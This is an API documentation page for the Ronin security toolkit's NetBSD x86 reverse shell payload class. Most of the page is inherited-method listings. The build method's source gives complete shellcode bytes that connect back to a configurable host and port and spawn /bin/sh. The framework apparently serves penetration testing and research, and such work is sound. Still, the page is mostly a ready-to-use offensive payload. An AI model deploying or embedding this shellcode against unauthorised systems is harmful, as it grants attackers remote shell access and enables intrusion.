Class: Ronin::Payloads::Shellcode::NetBSD::X86::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb

Overview

NetBSD x86 shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# File 'lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb', line 54

def build
  @payload = "\x31\xc0" \
             "\x31\xc9" \
             "\x50" \
             "\x40" \
             "\x50" \
             "\x40" \
             "\x50" \
             "\x50" \
             "\xb0\x61" \
             "\xcd\x80" \
             "\x89\xc3" \
             "\x89\xe2" \
             "\x49" \
             "\x51" \
             "\x51" \
             "\x41" \
             "\x68#{packed_ipv4(negate: true)}" \
             "\x68\xff\xfd#{packed_port(negate: true)}" \
             "\xb1\x10" \
             "\x51" \
             "\xf6\x12" \
             "\x4a" \
             "\xe2\xfb" \
             "\xf6\x12" \
             "\x52" \
             "\x50" \
             "\x50" \
             "\xb0\x62" \
             "\xcd\x80" \
             "\xb1\x03" \
             "\x49" \
             "\x51" \
             "\x41" \
             "\x53" \
             "\x50" \
             "\xb0\x5a" \
             "\xcd\x80" \
             "\xe2\xf5" \
             "\x51" \
             "\x68\x2f\x2f\x73\x68" \
             "\x68\x2f\x62\x69\x6e" \
             "\x89\xe3" \
             "\x51" \
             "\x54" \
             "\x53" \
             "\x50" \
             "\xb0\x3b" \
             "\xcd\x80"
end